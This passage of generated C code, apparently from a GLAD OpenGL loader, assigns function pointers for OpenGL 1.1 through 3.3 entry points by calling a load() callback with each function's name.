glad_glGenTextures = (PFNGLGENTEXTURESPROC)load("glGenTextures");
glad_glIsTexture = (PFNGLISTEXTUREPROC)load("glIsTexture");
}
static void load_GL_VERSION_1_2(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_2) return;
glad_glDrawRangeElements = (PFNGLDRAWRANGEELEMENTSPROC)load("glDrawRangeElements");
glad_glTexImage3D = (PFNGLTEXIMAGE3DPROC)load("glTexImage3D");
glad_glTexSubImage3D = (PFNGLTEXSUBIMAGE3DPROC)load("glTexSubImage3D");
glad_glCopyTexSubImage3D = (PFNGLCOPYTEXSUBIMAGE3DPROC)load("glCopyTexSubImage3D");
}
static void load_GL_VERSION_1_3(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_3) return;
glad_glActiveTexture = (PFNGLACTIVETEXTUREPROC)load("glActiveTexture");
glad_glSampleCoverage = (PFNGLSAMPLECOVERAGEPROC)load("glSampleCoverage");
glad_glCompressedTexImage3D = (PFNGLCOMPRESSEDTEXIMAGE3DPROC)load("glCompressedTexImage3D");
glad_glCompressedTexImage2D = (PFNGLCOMPRESSEDTEXIMAGE2DPROC)load("glCompressedTexImage2D");
glad_glCompressedTexImage1D = (PFNGLCOMPRESSEDTEXIMAGE1DPROC)load("glCompressedTexImage1D");
glad_glCompressedTexSubImage3D = (PFNGLCOMPRESSEDTEXSUBIMAGE3DPROC)load("glCompressedTexSubImage3D");
glad_glCompressedTexSubImage2D = (PFNGLCOMPRESSEDTEXSUBIMAGE2DPROC)load("glCompressedTexSubImage2D");
glad_glCompressedTexSubImage1D = (PFNGLCOMPRESSEDTEXSUBIMAGE1DPROC)load("glCompressedTexSubImage1D");
glad_glGetCompressedTexImage = (PFNGLGETCOMPRESSEDTEXIMAGEPROC)load("glGetCompressedTexImage");
}
static void load_GL_VERSION_1_4(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_4) return;
glad_glBlendFuncSeparate = (PFNGLBLENDFUNCSEPARATEPROC)load("glBlendFuncSeparate");
glad_glMultiDrawArrays = (PFNGLMULTIDRAWARRAYSPROC)load("glMultiDrawArrays");
glad_glMultiDrawElements = (PFNGLMULTIDRAWELEMENTSPROC)load("glMultiDrawElements");
glad_glPointParameterf = (PFNGLPOINTPARAMETERFPROC)load("glPointParameterf");
glad_glPointParameterfv = (PFNGLPOINTPARAMETERFVPROC)load("glPointParameterfv");
glad_glPointParameteri = (PFNGLPOINTPARAMETERIPROC)load("glPointParameteri");
glad_glPointParameteriv = (PFNGLPOINTPARAMETERIVPROC)load("glPointParameteriv");
glad_glBlendColor = (PFNGLBLENDCOLORPROC)load("glBlendColor");
glad_glBlendEquation = (PFNGLBLENDEQUATIONPROC)load("glBlendEquation");
}
static void load_GL_VERSION_1_5(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_5) return;
glad_glGenQueries = (PFNGLGENQUERIESPROC)load("glGenQueries");
glad_glDeleteQueries = (PFNGLDELETEQUERIESPROC)load("glDeleteQueries");
glad_glIsQuery = (PFNGLISQUERYPROC)load("glIsQuery");
glad_glBeginQuery = (PFNGLBEGINQUERYPROC)load("glBeginQuery");
glad_glEndQuery = (PFNGLENDQUERYPROC)load("glEndQuery");
glad_glGetQueryiv = (PFNGLGETQUERYIVPROC)load("glGetQueryiv");
glad_glGetQueryObjectiv = (PFNGLGETQUERYOBJECTIVPROC)load("glGetQueryObjectiv");
glad_glGetQueryObjectuiv = (PFNGLGETQUERYOBJECTUIVPROC)load("glGetQueryObjectuiv");
glad_glBindBuffer = (PFNGLBINDBUFFERPROC)load("glBindBuffer");
glad_glDeleteBuffers = (PFNGLDELETEBUFFERSPROC)load("glDeleteBuffers");
glad_glGenBuffers = (PFNGLGENBUFFERSPROC)load("glGenBuffers");
glad_glIsBuffer = (PFNGLISBUFFERPROC)load("glIsBuffer");
glad_glBufferData = (PFNGLBUFFERDATAPROC)load("glBufferData");
glad_glBufferSubData = (PFNGLBUFFERSUBDATAPROC)load("glBufferSubData");
glad_glGetBufferSubData = (PFNGLGETBUFFERSUBDATAPROC)load("glGetBufferSubData");
glad_glMapBuffer = (PFNGLMAPBUFFERPROC)load("glMapBuffer");
glad_glUnmapBuffer = (PFNGLUNMAPBUFFERPROC)load("glUnmapBuffer");
glad_glGetBufferParameteriv = (PFNGLGETBUFFERPARAMETERIVPROC)load("glGetBufferParameteriv");
glad_glGetBufferPointerv = (PFNGLGETBUFFERPOINTERVPROC)load("glGetBufferPointerv");
}
static void load_GL_VERSION_2_0(GLADloadproc load) {
if(!GLAD_GL_VERSION_2_0) return;
glad_glBlendEquationSeparate = (PFNGLBLENDEQUATIONSEPARATEPROC)load("glBlendEquationSeparate");
glad_glDrawBuffers = (PFNGLDRAWBUFFERSPROC)load("glDrawBuffers");
glad_glStencilOpSeparate = (PFNGLSTENCILOPSEPARATEPROC)load("glStencilOpSeparate");
glad_glStencilFuncSeparate = (PFNGLSTENCILFUNCSEPARATEPROC)load("glStencilFuncSeparate");
glad_glStencilMaskSeparate = (PFNGLSTENCILMASKSEPARATEPROC)load("glStencilMaskSeparate");
glad_glAttachShader = (PFNGLATTACHSHADERPROC)load("glAttachShader");
glad_glBindAttribLocation = (PFNGLBINDATTRIBLOCATIONPROC)load("glBindAttribLocation");
glad_glCompileShader = (PFNGLCOMPILESHADERPROC)load("glCompileShader");
glad_glCreateProgram = (PFNGLCREATEPROGRAMPROC)load("glCreateProgram");
glad_glCreateShader = (PFNGLCREATESHADERPROC)load("glCreateShader");
glad_glDeleteProgram = (PFNGLDELETEPROGRAMPROC)load("glDeleteProgram");
glad_glDeleteShader = (PFNGLDELETESHADERPROC)load("glDeleteShader");
glad_glDetachShader = (PFNGLDETACHSHADERPROC)load("glDetachShader");
glad_glDisableVertexAttribArray = (PFNGLDISABLEVERTEXATTRIBARRAYPROC)load("glDisableVertexAttribArray");
glad_glEnableVertexAttribArray = (PFNGLENABLEVERTEXATTRIBARRAYPROC)load("glEnableVertexAttribArray");
glad_glGetActiveAttrib = (PFNGLGETACTIVEATTRIBPROC)load("glGetActiveAttrib");
glad_glGetActiveUniform = (PFNGLGETACTIVEUNIFORMPROC)load("glGetActiveUniform");
glad_glGetAttachedShaders = (PFNGLGETATTACHEDSHADERSPROC)load("glGetAttachedShaders");
glad_glGetAttribLocation = (PFNGLGETATTRIBLOCATIONPROC)load("glGetAttribLocation");
glad_glGetProgramiv = (PFNGLGETPROGRAMIVPROC)load("glGetProgramiv");
glad_glGetProgramInfoLog = (PFNGLGETPROGRAMINFOLOGPROC)load("glGetProgramInfoLog");
glad_glGetShaderiv = (PFNGLGETSHADERIVPROC)load("glGetShaderiv");
glad_glGetShaderInfoLog = (PFNGLGETSHADERINFOLOGPROC)load("glGetShaderInfoLog");
glad_glGetShaderSource = (PFNGLGETSHADERSOURCEPROC)load("glGetShaderSource");
glad_glGetUniformLocation = (PFNGLGETUNIFORMLOCATIONPROC)load("glGetUniformLocation");
glad_glGetUniformfv = (PFNGLGETUNIFORMFVPROC)load("glGetUniformfv");
glad_glGetUniformiv = (PFNGLGETUNIFORMIVPROC)load("glGetUniformiv");
glad_glGetVertexAttribdv = (PFNGLGETVERTEXATTRIBDVPROC)load("glGetVertexAttribdv");
glad_glGetVertexAttribfv = (PFNGLGETVERTEXATTRIBFVPROC)load("glGetVertexAttribfv");
glad_glGetVertexAttribiv = (PFNGLGETVERTEXATTRIBIVPROC)load("glGetVertexAttribiv");
glad_glGetVertexAttribPointerv = (PFNGLGETVERTEXATTRIBPOINTERVPROC)load("glGetVertexAttribPointerv");
glad_glIsProgram = (PFNGLISPROGRAMPROC)load("glIsProgram");
glad_glIsShader = (PFNGLISSHADERPROC)load("glIsShader");
glad_glLinkProgram = (PFNGLLINKPROGRAMPROC)load("glLinkProgram");
glad_glShaderSource = (PFNGLSHADERSOURCEPROC)load("glShaderSource");
glad_glUseProgram = (PFNGLUSEPROGRAMPROC)load("glUseProgram");
glad_glUniform1f = (PFNGLUNIFORM1FPROC)load("glUniform1f");
glad_glUniform2f = (PFNGLUNIFORM2FPROC)load("glUniform2f");
glad_glUniform3f = (PFNGLUNIFORM3FPROC)load("glUniform3f");
glad_glUniform4f = (PFNGLUNIFORM4FPROC)load("glUniform4f");
glad_glUniform1i = (PFNGLUNIFORM1IPROC)load("glUniform1i");
glad_glUniform2i = (PFNGLUNIFORM2IPROC)load("glUniform2i");
glad_glUniform3i = (PFNGLUNIFORM3IPROC)load("glUniform3i");
glad_glUniform4i = (PFNGLUNIFORM4IPROC)load("glUniform4i");
glad_glUniform1fv = (PFNGLUNIFORM1FVPROC)load("glUniform1fv");
glad_glUniform2fv = (PFNGLUNIFORM2FVPROC)load("glUniform2fv");
glad_glUniform3fv = (PFNGLUNIFORM3FVPROC)load("glUniform3fv");
glad_glUniform4fv = (PFNGLUNIFORM4FVPROC)load("glUniform4fv");
glad_glUniform1iv = (PFNGLUNIFORM1IVPROC)load("glUniform1iv");
glad_glUniform2iv = (PFNGLUNIFORM2IVPROC)load("glUniform2iv");
glad_glUniform3iv = (PFNGLUNIFORM3IVPROC)load("glUniform3iv");
glad_glUniform4iv = (PFNGLUNIFORM4IVPROC)load("glUniform4iv");
glad_glUniformMatrix2fv = (PFNGLUNIFORMMATRIX2FVPROC)load("glUniformMatrix2fv");
glad_glUniformMatrix3fv = (PFNGLUNIFORMMATRIX3FVPROC)load("glUniformMatrix3fv");
glad_glUniformMatrix4fv = (PFNGLUNIFORMMATRIX4FVPROC)load("glUniformMatrix4fv");
glad_glValidateProgram = (PFNGLVALIDATEPROGRAMPROC)load("glValidateProgram");
glad_glVertexAttrib1d = (PFNGLVERTEXATTRIB1DPROC)load("glVertexAttrib1d");
glad_glVertexAttrib1dv = (PFNGLVERTEXATTRIB1DVPROC)load("glVertexAttrib1dv");
glad_glVertexAttrib1f = (PFNGLVERTEXATTRIB1FPROC)load("glVertexAttrib1f");
glad_glVertexAttrib1fv = (PFNGLVERTEXATTRIB1FVPROC)load("glVertexAttrib1fv");
glad_glVertexAttrib1s = (PFNGLVERTEXATTRIB1SPROC)load("glVertexAttrib1s");
glad_glVertexAttrib1sv = (PFNGLVERTEXATTRIB1SVPROC)load("glVertexAttrib1sv");
glad_glVertexAttrib2d = (PFNGLVERTEXATTRIB2DPROC)load("glVertexAttrib2d");
glad_glVertexAttrib2dv = (PFNGLVERTEXATTRIB2DVPROC)load("glVertexAttrib2dv");
glad_glVertexAttrib2f = (PFNGLVERTEXATTRIB2FPROC)load("glVertexAttrib2f");
glad_glVertexAttrib2fv = (PFNGLVERTEXATTRIB2FVPROC)load("glVertexAttrib2fv");
glad_glVertexAttrib2s = (PFNGLVERTEXATTRIB2SPROC)load("glVertexAttrib2s");
glad_glVertexAttrib2sv = (PFNGLVERTEXATTRIB2SVPROC)load("glVertexAttrib2sv");
glad_glVertexAttrib3d = (PFNGLVERTEXATTRIB3DPROC)load("glVertexAttrib3d");
glad_glVertexAttrib3dv = (PFNGLVERTEXATTRIB3DVPROC)load("glVertexAttrib3dv");
glad_glVertexAttrib3f = (PFNGLVERTEXATTRIB3FPROC)load("glVertexAttrib3f");
glad_glVertexAttrib3fv = (PFNGLVERTEXATTRIB3FVPROC)load("glVertexAttrib3fv");
glad_glVertexAttrib3s = (PFNGLVERTEXATTRIB3SPROC)load("glVertexAttrib3s");
glad_glVertexAttrib3sv = (PFNGLVERTEXATTRIB3SVPROC)load("glVertexAttrib3sv");
glad_glVertexAttrib4Nbv = (PFNGLVERTEXATTRIB4NBVPROC)load("glVertexAttrib4Nbv");
glad_glVertexAttrib4Niv = (PFNGLVERTEXATTRIB4NIVPROC)load("glVertexAttrib4Niv");
glad_glVertexAttrib4Nsv = (PFNGLVERTEXATTRIB4NSVPROC)load("glVertexAttrib4Nsv");
glad_glVertexAttrib4Nub = (PFNGLVERTEXATTRIB4NUBPROC)load("glVertexAttrib4Nub");
glad_glVertexAttrib4Nubv = (PFNGLVERTEXATTRIB4NUBVPROC)load("glVertexAttrib4Nubv");
glad_glVertexAttrib4Nuiv = (PFNGLVERTEXATTRIB4NUIVPROC)load("glVertexAttrib4Nuiv");
glad_glVertexAttrib4Nusv = (PFNGLVERTEXATTRIB4NUSVPROC)load("glVertexAttrib4Nusv");
glad_glVertexAttrib4bv = (PFNGLVERTEXATTRIB4BVPROC)load("glVertexAttrib4bv");
glad_glVertexAttrib4d = (PFNGLVERTEXATTRIB4DPROC)load("glVertexAttrib4d");
glad_glVertexAttrib4dv = (PFNGLVERTEXATTRIB4DVPROC)load("glVertexAttrib4dv");
glad_glVertexAttrib4f = (PFNGLVERTEXATTRIB4FPROC)load("glVertexAttrib4f");
glad_glVertexAttrib4fv = (PFNGLVERTEXATTRIB4FVPROC)load("glVertexAttrib4fv");
glad_glVertexAttrib4iv = (PFNGLVERTEXATTRIB4IVPROC)load("glVertexAttrib4iv");
glad_glVertexAttrib4s = (PFNGLVERTEXATTRIB4SPROC)load("glVertexAttrib4s");
glad_glVertexAttrib4sv = (PFNGLVERTEXATTRIB4SVPROC)load("glVertexAttrib4sv");
glad_glVertexAttrib4ubv = (PFNGLVERTEXATTRIB4UBVPROC)load("glVertexAttrib4ubv");
glad_glVertexAttrib4uiv = (PFNGLVERTEXATTRIB4UIVPROC)load("glVertexAttrib4uiv");
glad_glVertexAttrib4usv = (PFNGLVERTEXATTRIB4USVPROC)load("glVertexAttrib4usv");
glad_glVertexAttribPointer = (PFNGLVERTEXATTRIBPOINTERPROC)load("glVertexAttribPointer");
}
static void load_GL_VERSION_2_1(GLADloadproc load) {
if(!GLAD_GL_VERSION_2_1) return;
glad_glUniformMatrix2x3fv = (PFNGLUNIFORMMATRIX2X3FVPROC)load("glUniformMatrix2x3fv");
glad_glUniformMatrix3x2fv = (PFNGLUNIFORMMATRIX3X2FVPROC)load("glUniformMatrix3x2fv");
glad_glUniformMatrix2x4fv = (PFNGLUNIFORMMATRIX2X4FVPROC)load("glUniformMatrix2x4fv");
glad_glUniformMatrix4x2fv = (PFNGLUNIFORMMATRIX4X2FVPROC)load("glUniformMatrix4x2fv");
glad_glUniformMatrix3x4fv = (PFNGLUNIFORMMATRIX3X4FVPROC)load("glUniformMatrix3x4fv");
glad_glUniformMatrix4x3fv = (PFNGLUNIFORMMATRIX4X3FVPROC)load("glUniformMatrix4x3fv");
}
static void load_GL_VERSION_3_0(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_0) return;
glad_glColorMaski = (PFNGLCOLORMASKIPROC)load("glColorMaski");
glad_glGetBooleani_v = (PFNGLGETBOOLEANI_VPROC)load("glGetBooleani_v");
glad_glGetIntegeri_v = (PFNGLGETINTEGERI_VPROC)load("glGetIntegeri_v");
glad_glEnablei = (PFNGLENABLEIPROC)load("glEnablei");
glad_glDisablei = (PFNGLDISABLEIPROC)load("glDisablei");
glad_glIsEnabledi = (PFNGLISENABLEDIPROC)load("glIsEnabledi");
glad_glBeginTransformFeedback = (PFNGLBEGINTRANSFORMFEEDBACKPROC)load("glBeginTransformFeedback");
glad_glEndTransformFeedback = (PFNGLENDTRANSFORMFEEDBACKPROC)load("glEndTransformFeedback");
glad_glBindBufferRange = (PFNGLBINDBUFFERRANGEPROC)load("glBindBufferRange");
glad_glBindBufferBase = (PFNGLBINDBUFFERBASEPROC)load("glBindBufferBase");
glad_glTransformFeedbackVaryings = (PFNGLTRANSFORMFEEDBACKVARYINGSPROC)load("glTransformFeedbackVaryings");
glad_glGetTransformFeedbackVarying = (PFNGLGETTRANSFORMFEEDBACKVARYINGPROC)load("glGetTransformFeedbackVarying");
glad_glClampColor = (PFNGLCLAMPCOLORPROC)load("glClampColor");
glad_glBeginConditionalRender = (PFNGLBEGINCONDITIONALRENDERPROC)load("glBeginConditionalRender");
glad_glEndConditionalRender = (PFNGLENDCONDITIONALRENDERPROC)load("glEndConditionalRender");
glad_glVertexAttribIPointer = (PFNGLVERTEXATTRIBIPOINTERPROC)load("glVertexAttribIPointer");
glad_glGetVertexAttribIiv = (PFNGLGETVERTEXATTRIBIIVPROC)load("glGetVertexAttribIiv");
glad_glGetVertexAttribIuiv = (PFNGLGETVERTEXATTRIBIUIVPROC)load("glGetVertexAttribIuiv");
glad_glVertexAttribI1i = (PFNGLVERTEXATTRIBI1IPROC)load("glVertexAttribI1i");
glad_glVertexAttribI2i = (PFNGLVERTEXATTRIBI2IPROC)load("glVertexAttribI2i");
glad_glVertexAttribI3i = (PFNGLVERTEXATTRIBI3IPROC)load("glVertexAttribI3i");
glad_glVertexAttribI4i = (PFNGLVERTEXATTRIBI4IPROC)load("glVertexAttribI4i");
glad_glVertexAttribI1ui = (PFNGLVERTEXATTRIBI1UIPROC)load("glVertexAttribI1ui");
glad_glVertexAttribI2ui = (PFNGLVERTEXATTRIBI2UIPROC)load("glVertexAttribI2ui");
glad_glVertexAttribI3ui = (PFNGLVERTEXATTRIBI3UIPROC)load("glVertexAttribI3ui");
glad_glVertexAttribI4ui = (PFNGLVERTEXATTRIBI4UIPROC)load("glVertexAttribI4ui");
glad_glVertexAttribI1iv = (PFNGLVERTEXATTRIBI1IVPROC)load("glVertexAttribI1iv");
glad_glVertexAttribI2iv = (PFNGLVERTEXATTRIBI2IVPROC)load("glVertexAttribI2iv");
glad_glVertexAttribI3iv = (PFNGLVERTEXATTRIBI3IVPROC)load("glVertexAttribI3iv");
glad_glVertexAttribI4iv = (PFNGLVERTEXATTRIBI4IVPROC)load("glVertexAttribI4iv");
glad_glVertexAttribI1uiv = (PFNGLVERTEXATTRIBI1UIVPROC)load("glVertexAttribI1uiv");
glad_glVertexAttribI2uiv = (PFNGLVERTEXATTRIBI2UIVPROC)load("glVertexAttribI2uiv");
glad_glVertexAttribI3uiv = (PFNGLVERTEXATTRIBI3UIVPROC)load("glVertexAttribI3uiv");
glad_glVertexAttribI4uiv = (PFNGLVERTEXATTRIBI4UIVPROC)load("glVertexAttribI4uiv");
glad_glVertexAttribI4bv = (PFNGLVERTEXATTRIBI4BVPROC)load("glVertexAttribI4bv");
glad_glVertexAttribI4sv = (PFNGLVERTEXATTRIBI4SVPROC)load("glVertexAttribI4sv");
glad_glVertexAttribI4ubv = (PFNGLVERTEXATTRIBI4UBVPROC)load("glVertexAttribI4ubv");
glad_glVertexAttribI4usv = (PFNGLVERTEXATTRIBI4USVPROC)load("glVertexAttribI4usv");
glad_glGetUniformuiv = (PFNGLGETUNIFORMUIVPROC)load("glGetUniformuiv");
glad_glBindFragDataLocation = (PFNGLBINDFRAGDATALOCATIONPROC)load("glBindFragDataLocation");
glad_glGetFragDataLocation = (PFNGLGETFRAGDATALOCATIONPROC)load("glGetFragDataLocation");
glad_glUniform1ui = (PFNGLUNIFORM1UIPROC)load("glUniform1ui");
glad_glUniform2ui = (PFNGLUNIFORM2UIPROC)load("glUniform2ui");
glad_glUniform3ui = (PFNGLUNIFORM3UIPROC)load("glUniform3ui");
glad_glUniform4ui = (PFNGLUNIFORM4UIPROC)load("glUniform4ui");
glad_glUniform1uiv = (PFNGLUNIFORM1UIVPROC)load("glUniform1uiv");
glad_glUniform2uiv = (PFNGLUNIFORM2UIVPROC)load("glUniform2uiv");
glad_glUniform3uiv = (PFNGLUNIFORM3UIVPROC)load("glUniform3uiv");
glad_glUniform4uiv = (PFNGLUNIFORM4UIVPROC)load("glUniform4uiv");
glad_glTexParameterIiv = (PFNGLTEXPARAMETERIIVPROC)load("glTexParameterIiv");
glad_glTexParameterIuiv = (PFNGLTEXPARAMETERIUIVPROC)load("glTexParameterIuiv");
glad_glGetTexParameterIiv = (PFNGLGETTEXPARAMETERIIVPROC)load("glGetTexParameterIiv");
glad_glGetTexParameterIuiv = (PFNGLGETTEXPARAMETERIUIVPROC)load("glGetTexParameterIuiv");
glad_glClearBufferiv = (PFNGLCLEARBUFFERIVPROC)load("glClearBufferiv");
glad_glClearBufferuiv = (PFNGLCLEARBUFFERUIVPROC)load("glClearBufferuiv");
glad_glClearBufferfv = (PFNGLCLEARBUFFERFVPROC)load("glClearBufferfv");
glad_glClearBufferfi = (PFNGLCLEARBUFFERFIPROC)load("glClearBufferfi");
glad_glGetStringi = (PFNGLGETSTRINGIPROC)load("glGetStringi");
glad_glIsRenderbuffer = (PFNGLISRENDERBUFFERPROC)load("glIsRenderbuffer");
glad_glBindRenderbuffer = (PFNGLBINDRENDERBUFFERPROC)load("glBindRenderbuffer");
glad_glDeleteRenderbuffers = (PFNGLDELETERENDERBUFFERSPROC)load("glDeleteRenderbuffers");
glad_glGenRenderbuffers = (PFNGLGENRENDERBUFFERSPROC)load("glGenRenderbuffers");
glad_glRenderbufferStorage = (PFNGLRENDERBUFFERSTORAGEPROC)load("glRenderbufferStorage");
glad_glGetRenderbufferParameteriv = (PFNGLGETRENDERBUFFERPARAMETERIVPROC)load("glGetRenderbufferParameteriv");
glad_glIsFramebuffer = (PFNGLISFRAMEBUFFERPROC)load("glIsFramebuffer");
glad_glBindFramebuffer = (PFNGLBINDFRAMEBUFFERPROC)load("glBindFramebuffer");
glad_glDeleteFramebuffers = (PFNGLDELETEFRAMEBUFFERSPROC)load("glDeleteFramebuffers");
glad_glGenFramebuffers = (PFNGLGENFRAMEBUFFERSPROC)load("glGenFramebuffers");
glad_glCheckFramebufferStatus = (PFNGLCHECKFRAMEBUFFERSTATUSPROC)load("glCheckFramebufferStatus");
glad_glFramebufferTexture1D = (PFNGLFRAMEBUFFERTEXTURE1DPROC)load("glFramebufferTexture1D");
glad_glFramebufferTexture2D = (PFNGLFRAMEBUFFERTEXTURE2DPROC)load("glFramebufferTexture2D");
glad_glFramebufferTexture3D = (PFNGLFRAMEBUFFERTEXTURE3DPROC)load("glFramebufferTexture3D");
glad_glFramebufferRenderbuffer = (PFNGLFRAMEBUFFERRENDERBUFFERPROC)load("glFramebufferRenderbuffer");
glad_glGetFramebufferAttachmentParameteriv = (PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVPROC)load("glGetFramebufferAttachmentParameteriv");
glad_glGenerateMipmap = (PFNGLGENERATEMIPMAPPROC)load("glGenerateMipmap");
glad_glBlitFramebuffer = (PFNGLBLITFRAMEBUFFERPROC)load("glBlitFramebuffer");
glad_glRenderbufferStorageMultisample = (PFNGLRENDERBUFFERSTORAGEMULTISAMPLEPROC)load("glRenderbufferStorageMultisample");
glad_glFramebufferTextureLayer = (PFNGLFRAMEBUFFERTEXTURELAYERPROC)load("glFramebufferTextureLayer");
glad_glMapBufferRange = (PFNGLMAPBUFFERRANGEPROC)load("glMapBufferRange");
glad_glFlushMappedBufferRange = (PFNGLFLUSHMAPPEDBUFFERRANGEPROC)load("glFlushMappedBufferRange");
glad_glBindVertexArray = (PFNGLBINDVERTEXARRAYPROC)load("glBindVertexArray");
glad_glDeleteVertexArrays = (PFNGLDELETEVERTEXARRAYSPROC)load("glDeleteVertexArrays");
glad_glGenVertexArrays = (PFNGLGENVERTEXARRAYSPROC)load("glGenVertexArrays");
glad_glIsVertexArray = (PFNGLISVERTEXARRAYPROC)load("glIsVertexArray");
}
static void load_GL_VERSION_3_1(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_1) return;
glad_glDrawArraysInstanced = (PFNGLDRAWARRAYSINSTANCEDPROC)load("glDrawArraysInstanced");
glad_glDrawElementsInstanced = (PFNGLDRAWELEMENTSINSTANCEDPROC)load("glDrawElementsInstanced");
glad_glTexBuffer = (PFNGLTEXBUFFERPROC)load("glTexBuffer");
glad_glPrimitiveRestartIndex = (PFNGLPRIMITIVERESTARTINDEXPROC)load("glPrimitiveRestartIndex");
glad_glCopyBufferSubData = (PFNGLCOPYBUFFERSUBDATAPROC)load("glCopyBufferSubData");
glad_glGetUniformIndices = (PFNGLGETUNIFORMINDICESPROC)load("glGetUniformIndices");
glad_glGetActiveUniformsiv = (PFNGLGETACTIVEUNIFORMSIVPROC)load("glGetActiveUniformsiv");
glad_glGetActiveUniformName = (PFNGLGETACTIVEUNIFORMNAMEPROC)load("glGetActiveUniformName");
glad_glGetUniformBlockIndex = (PFNGLGETUNIFORMBLOCKINDEXPROC)load("glGetUniformBlockIndex");
glad_glGetActiveUniformBlockiv = (PFNGLGETACTIVEUNIFORMBLOCKIVPROC)load("glGetActiveUniformBlockiv");
glad_glGetActiveUniformBlockName = (PFNGLGETACTIVEUNIFORMBLOCKNAMEPROC)load("glGetActiveUniformBlockName");
glad_glUniformBlockBinding = (PFNGLUNIFORMBLOCKBINDINGPROC)load("glUniformBlockBinding");
glad_glBindBufferRange = (PFNGLBINDBUFFERRANGEPROC)load("glBindBufferRange");
glad_glBindBufferBase = (PFNGLBINDBUFFERBASEPROC)load("glBindBufferBase");
glad_glGetIntegeri_v = (PFNGLGETINTEGERI_VPROC)load("glGetIntegeri_v");
}
static void load_GL_VERSION_3_2(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_2) return;
glad_glDrawElementsBaseVertex = (PFNGLDRAWELEMENTSBASEVERTEXPROC)load("glDrawElementsBaseVertex");
glad_glDrawRangeElementsBaseVertex = (PFNGLDRAWRANGEELEMENTSBASEVERTEXPROC)load("glDrawRangeElementsBaseVertex");
glad_glDrawElementsInstancedBaseVertex = (PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXPROC)load("glDrawElementsInstancedBaseVertex");
glad_glMultiDrawElementsBaseVertex = (PFNGLMULTIDRAWELEMENTSBASEVERTEXPROC)load("glMultiDrawElementsBaseVertex");
glad_glProvokingVertex = (PFNGLPROVOKINGVERTEXPROC)load("glProvokingVertex");
glad_glFenceSync = (PFNGLFENCESYNCPROC)load("glFenceSync");
glad_glIsSync = (PFNGLISSYNCPROC)load("glIsSync");
glad_glDeleteSync = (PFNGLDELETESYNCPROC)load("glDeleteSync");
glad_glClientWaitSync = (PFNGLCLIENTWAITSYNCPROC)load("glClientWaitSync");
glad_glWaitSync = (PFNGLWAITSYNCPROC)load("glWaitSync");
glad_glGetInteger64v = (PFNGLGETINTEGER64VPROC)load("glGetInteger64v");
glad_glGetSynciv = (PFNGLGETSYNCIVPROC)load("glGetSynciv");
glad_glGetInteger64i_v = (PFNGLGETINTEGER64I_VPROC)load("glGetInteger64i_v");
glad_glGetBufferParameteri64v = (PFNGLGETBUFFERPARAMETERI64VPROC)load("glGetBufferParameteri64v");
glad_glFramebufferTexture = (PFNGLFRAMEBUFFERTEXTUREPROC)load("glFramebufferTexture");
glad_glTexImage2DMultisample = (PFNGLTEXIMAGE2DMULTISAMPLEPROC)load("glTexImage2DMultisample");
glad_glTexImage3DMultisample = (PFNGLTEXIMAGE3DMULTISAMPLEPROC)load("glTexImage3DMultisample");
glad_glGetMultisamplefv = (PFNGLGETMULTISAMPLEFVPROC)load("glGetMultisamplefv");
glad_glSampleMaski = (PFNGLSAMPLEMASKIPROC)load("glSampleMaski");
}
static void load_GL_VERSION_3_3(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_3) return;
glad_glBindFragDataLocationIndexed = (PFNGLBINDFRAGDATALOCATIONINDEXEDPROC)load("glBindFragDataLocationIndexed");
glad_glGetFragDataIndex = (PFNGLGETFRAGDATAINDEXPROC)load("glGetFragDataIndex");
glad_glGenSamplers = (PFNGLGENSAMPLERSPROC)load("glGenSamplers");
glad_glDeleteSamplers = (PFNGLDELETESAMPLERSPROC)load("glDeleteSamplers");
glad_glIsSampler = (PFNGLISSAMPLERPROC)load("glIsSampler");
glad_glBindSampler = (PFNGLBINDSAMPLERPROC)load("glBindSampler");
glad_glSamplerParameteri = (PFNGLSAMPLERPARAMETERIPROC)load("glSamplerParameteri");
glad_glSamplerParameteriv = (PFNGLSAMPLERPARAMETERIVPROC)load("glSamplerParameteriv");
glad_glSamplerParameterf = (PFNGLSAMPLERPARAMETERFPROC)load("glSamplerParameterf");
glad_glSamplerParameterfv = (PFNGLSAMPLERPARAMETERFVPROC)load("glSamplerParameterfv");
glad_glSamplerParameterIiv = (PFNGLSAMPLERPARAMETERIIVPROC)load("glSamplerParameterIiv");
glad_glSamplerParameterIuiv = (PFNGLSAMPLERPARAMETERIUIVPROC)load("glSamplerParameterIuiv");
glad_glGetSamplerParameteriv = (PFNGLGETSAMPLERPARAMETERIVPROC)load("glGetSamplerParameteriv");
glad_glGetSamplerParameterIiv = (PFNGLGETSAMPLERPARAMETERIIVPROC)load("glGetSamplerParameterIiv");
glad_glGetSamplerParameterfv = (PFNGLGETSAMPLERPARAMETERFVPROC)load("glGetSamplerParameterfv");
glad_glGetSamplerParameterIuiv = (PFNGLGETSAMPLERPARAMETERIUIVPROC)load("glGetSamplerParameterIuiv");
glad_glQueryCounter = (PFNGLQUERYCOUNTERPROC)load("glQueryCounter");
glad_glGetQueryObjecti64v = (PFNGLGETQUERYOBJECTI64VPROC)load("glGetQueryObjecti64v");
glad_glGetQueryObjectui64v = (PFNGLGETQUERYOBJECTUI64VPROC)load("glGetQueryObjectui64v");
glad_glVertexAttribDivisor = (PFNGLVERTEXATTRIBDIVISORPROC)load("glVertexAttribDivisor");
glad_glVertexAttribP1ui = (PFNGLVERTEXATTRIBP1UIPROC)load("glVertexAttribP1ui");
glad_glVertexAttribP1uiv = (PFNGLVERTEXATTRIBP1UIVPROC)load("glVertexAttribP1uiv");
glad_glVertexAttribP2ui = (PFNGLVERTEXATTRIBP2UIPROC)load("glVertexAttribP2ui");
glad_glVertexAttribP2uiv = (PFNGLVERTEXATTRIBP2UIVPROC)load("glVertexAttribP2uiv");
glad_glVertexAttribP3ui = (PFNGLVERTEXATTRIBP3UIPROC)load("glVertexAttribP3ui");
glad_glVertexAttribP3uiv = (PFNGLVERTEXATTRIBP3UIVPROC)load("glVertexAttribP3uiv");
glad_glVertexAttribP4ui = (PFNGLVERTEXATTRIBP4UIPROC)load("glVertexAttribP4ui");
